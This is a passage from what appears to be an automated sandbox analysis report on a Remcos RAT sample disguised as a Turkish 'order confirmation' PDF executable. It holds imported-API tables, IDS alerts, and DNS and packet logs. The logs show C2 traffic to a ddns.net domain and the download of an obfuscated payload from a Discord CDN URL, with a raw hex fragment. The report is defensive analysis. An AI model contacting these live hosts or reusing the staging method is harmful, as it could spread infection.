CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CloseEnhMetaFile, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, OpenProcess, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FlushInstructionCache, FindResourceA, FindAtomW, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, GetActiveObject, VariantInit, SysFreeString
ole32.dll	CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoTaskMemFree, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
oleacc.dll	LresultFromObject
winmm.dll	sndPlaySoundA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.337.0.14.1954977850172844577 06/26/22-09:44:11.704757	TCP	2844577	ETPRO TROJAN MSIL/Remcos RAT CnC Checkin M2	49778	5017	192.168.2.3	37.0.14.195
192.168.2.337.0.14.1954977850172845323 06/26/22-09:44:57.649154	TCP	2845323	ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Outbound)	49778	5017	192.168.2.3	37.0.14.195
37.0.14.195192.168.2.35017497782845324 06/26/22-09:44:57.648577	TCP	2845324	ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Inbound)	5017	49778	37.0.14.195	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:42:47.627707005 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:47.627768993 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:47.627863884 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:47.648009062 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:47.648039103 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:47.707540989 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:47.707803011 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.079981089 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.080018997 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.080431938 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.080502987 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.083348036 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.124496937 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.342773914 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.342855930 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.342878103 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.342900038 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.342936039 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.342958927 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.342962980 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.342971087 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343010902 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343025923 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343070984 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343075037 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343084097 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343106031 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343132973 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343141079 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343180895 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343719006 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343784094 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343790054 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343800068 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343825102 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343852997 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343861103 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343900919 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343903065 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343913078 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.343936920 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343961000 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.343969107 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344003916 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344010115 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344048977 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344054937 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344091892 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344099045 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344135046 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344136000 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344146967 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344172001 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344201088 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344207048 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344244957 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344244957 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344255924 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344281912 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344307899 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344316006 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344352961 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344358921 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344396114 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344399929 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344413042 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344439030 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344487906 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344492912 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344505072 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344557047 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344567060 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344610929 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344611883 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344621897 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344662905 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344671965 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344712973 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344721079 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344755888 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344763041 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344805002 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344811916 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344857931 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344860077 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344871044 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344896078 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344940901 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.344943047 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344954014 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.344995975 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.345000029 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.345011950 CEST	443	49716	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.345061064 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.348531961 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.348586082 CEST	49716	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.399934053 CEST	49719	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.399987936 CEST	443	49719	162.159.130.233	192.168.2.3
Jun 26, 2022 09:42:48.400074959 CEST	49719	443	192.168.2.3	162.159.130.233
Jun 26, 2022 09:42:48.401007891 CEST	49719	443	192.168.2.3	162.159.130.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:42:47.586988926 CEST	55923	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:42:47.607784033 CEST	53	55923	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:08.861673117 CEST	57723	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:08.881994963 CEST	53	57723	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:10.750699997 CEST	58116	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:10.774064064 CEST	53	58116	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:13.523336887 CEST	57421	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:13.544734001 CEST	53	57421	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:16.191664934 CEST	65358	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:16.214441061 CEST	53	65358	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:17.117027998 CEST	49873	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:17.139172077 CEST	53	49873	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:21.610383034 CEST	63332	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:21.631690025 CEST	53	63332	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:24.196943998 CEST	49327	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:24.216413021 CEST	53	49327	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:26.996424913 CEST	58981	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:27.015767097 CEST	53	58981	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:29.759982109 CEST	64452	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:29.777625084 CEST	53	64452	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:32.412154913 CEST	61380	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:32.433199883 CEST	53	61380	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:35.037820101 CEST	63146	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:35.058957100 CEST	53	63146	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:38.386646032 CEST	52985	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:38.407360077 CEST	53	52985	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:41.126136065 CEST	58625	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:41.147382021 CEST	53	58625	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:43.728009939 CEST	52810	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:43.747239113 CEST	53	52810	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:46.310242891 CEST	50778	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:46.329695940 CEST	53	50778	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:48.924099922 CEST	55151	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:48.941359043 CEST	53	55151	8.8.8.8	192.168.2.3
Jun 26, 2022 09:43:51.607608080 CEST	59795	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:43:51.630036116 CEST	53	59795	8.8.8.8	192.168.2.3
Jun 26, 2022 09:44:11.454999924 CEST	64816	53	192.168.2.3	8.8.8.8
Jun 26, 2022 09:44:11.476694107 CEST	53	64816	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 26, 2022 09:42:47.586988926 CEST	192.168.2.3	8.8.8.8	0xf2b2	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.861673117 CEST	192.168.2.3	8.8.8.8	0x4a2c	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:10.750699997 CEST	192.168.2.3	8.8.8.8	0xf7d7	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:13.523336887 CEST	192.168.2.3	8.8.8.8	0x88e8	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:16.191664934 CEST	192.168.2.3	8.8.8.8	0xbbc8	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.117027998 CEST	192.168.2.3	8.8.8.8	0xca4c	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:21.610383034 CEST	192.168.2.3	8.8.8.8	0xbd6a	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:24.196943998 CEST	192.168.2.3	8.8.8.8	0xcaa3	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:26.996424913 CEST	192.168.2.3	8.8.8.8	0xf5b4	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:29.759982109 CEST	192.168.2.3	8.8.8.8	0x2aba	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:32.412154913 CEST	192.168.2.3	8.8.8.8	0xf76a	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:35.037820101 CEST	192.168.2.3	8.8.8.8	0x1bd7	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:38.386646032 CEST	192.168.2.3	8.8.8.8	0xfecc	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:41.126136065 CEST	192.168.2.3	8.8.8.8	0x7b86	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:43.728009939 CEST	192.168.2.3	8.8.8.8	0x3b18	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:46.310242891 CEST	192.168.2.3	8.8.8.8	0x1b19	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:48.924099922 CEST	192.168.2.3	8.8.8.8	0x2b24	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:51.607608080 CEST	192.168.2.3	8.8.8.8	0x4b04	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)
Jun 26, 2022 09:44:11.454999924 CEST	192.168.2.3	8.8.8.8	0xb37a	Standard query (0)	blessmyhustlelord.ddns.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jun 26, 2022 09:42:47.607784033 CEST	8.8.8.8	192.168.2.3	0xf2b2	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:42:47.607784033 CEST	8.8.8.8	192.168.2.3	0xf2b2	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:42:47.607784033 CEST	8.8.8.8	192.168.2.3	0xf2b2	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:42:47.607784033 CEST	8.8.8.8	192.168.2.3	0xf2b2	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:42:47.607784033 CEST	8.8.8.8	192.168.2.3	0xf2b2	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.881994963 CEST	8.8.8.8	192.168.2.3	0x4a2c	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.881994963 CEST	8.8.8.8	192.168.2.3	0x4a2c	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.881994963 CEST	8.8.8.8	192.168.2.3	0x4a2c	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.881994963 CEST	8.8.8.8	192.168.2.3	0x4a2c	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:08.881994963 CEST	8.8.8.8	192.168.2.3	0x4a2c	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:10.774064064 CEST	8.8.8.8	192.168.2.3	0xf7d7	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:13.544734001 CEST	8.8.8.8	192.168.2.3	0x88e8	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:16.214441061 CEST	8.8.8.8	192.168.2.3	0xbbc8	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.139172077 CEST	8.8.8.8	192.168.2.3	0xca4c	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.139172077 CEST	8.8.8.8	192.168.2.3	0xca4c	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.139172077 CEST	8.8.8.8	192.168.2.3	0xca4c	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.139172077 CEST	8.8.8.8	192.168.2.3	0xca4c	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:17.139172077 CEST	8.8.8.8	192.168.2.3	0xca4c	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:21.631690025 CEST	8.8.8.8	192.168.2.3	0xbd6a	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:24.216413021 CEST	8.8.8.8	192.168.2.3	0xcaa3	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:27.015767097 CEST	8.8.8.8	192.168.2.3	0xf5b4	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:29.777625084 CEST	8.8.8.8	192.168.2.3	0x2aba	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:32.433199883 CEST	8.8.8.8	192.168.2.3	0xf76a	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:35.058957100 CEST	8.8.8.8	192.168.2.3	0x1bd7	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:38.407360077 CEST	8.8.8.8	192.168.2.3	0xfecc	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:41.147382021 CEST	8.8.8.8	192.168.2.3	0x7b86	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:43.747239113 CEST	8.8.8.8	192.168.2.3	0x3b18	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:46.329695940 CEST	8.8.8.8	192.168.2.3	0x1b19	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:48.941359043 CEST	8.8.8.8	192.168.2.3	0x2b24	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:43:51.630036116 CEST	8.8.8.8	192.168.2.3	0x4b04	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)
Jun 26, 2022 09:44:11.476694107 CEST	8.8.8.8	192.168.2.3	0xb37a	No error (0)	blessmyhustlelord.ddns.net	37.0.14.195	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49716	162.159.130.233	443	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:42:48 UTC	0	OUT	GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1 User-Agent: lVali Host: cdn.discordapp.com
2022-06-26 07:42:48 UTC	0	IN	HTTP/1.1 200 OK Date: Sun, 26 Jun 2022 07:42:48 GMT Content-Type: application/octet-stream Content-Length: 279040 Connection: close CF-Ray: 72144eee880abb5b-FRA Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Eluiezilfwmdrgrdfrqpnwmurrnwnhm ETag: "7d74af495b07aad93486870343b767e3" Expires: Mon, 26 Jun 2023 07:42:48 GMT Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1656221440589477 x-goog-hash: crc32c=Xt3y7g== x-goog-hash: md5=fXSvSVsHqtk0hocDQ7dn4w== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 279040 X-GUploader-UploadID: ADPycdu_Q0Tpycrk7qS4E4nzePhDznye5MF6EVmpLkOqf7VktTc-kyY8fGFrFg0abSjemjhV5OiEBDAd8z50hKsfTtoAqBDmNq2v X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=P4hq7FwYClRoOBJKDSoiJfy5Ac%2FwQ9PfUtJ%2FI7GBUdPo4s6kyuCtSRAf%2Fucz36kazVouAf4UMCaC7aF8JTaey%2FwS9FJVFEVtewmWpoQIs%2BJ15Cv8cPZoGocgY4Vyun1OSrt7QA%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-06-26 07:42:48 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-06-26 07:42:48 UTC	1	IN	Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc 71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3c 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a 89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 0e 86 9d b0 92 92 9b b0 ba cd 58 b0 8e 92 9b b0 ba cd a1 b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0 63 9a 3b b0 8c 92 9b b0 d5 92 52 b0 a5 db 9b b0 0e 9a 06 b0 7e 92 9b b0 ab 6c 58 b0 47 92 9b b0 ab 6c a1 b0 8c 92 9b b0 86 4f 01 b0 d9 92 9b b0 52 8c 95 b0 8c 92 9b b0 77 44 3e 8d d5 92 9b Data Ascii: (%%%%)%%%%%%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%33%qyDNEJB<HE><JE@EPEDEi*.EHJ@S/I%%%%%%%=Xc}Xc;R~lXGlORwD>
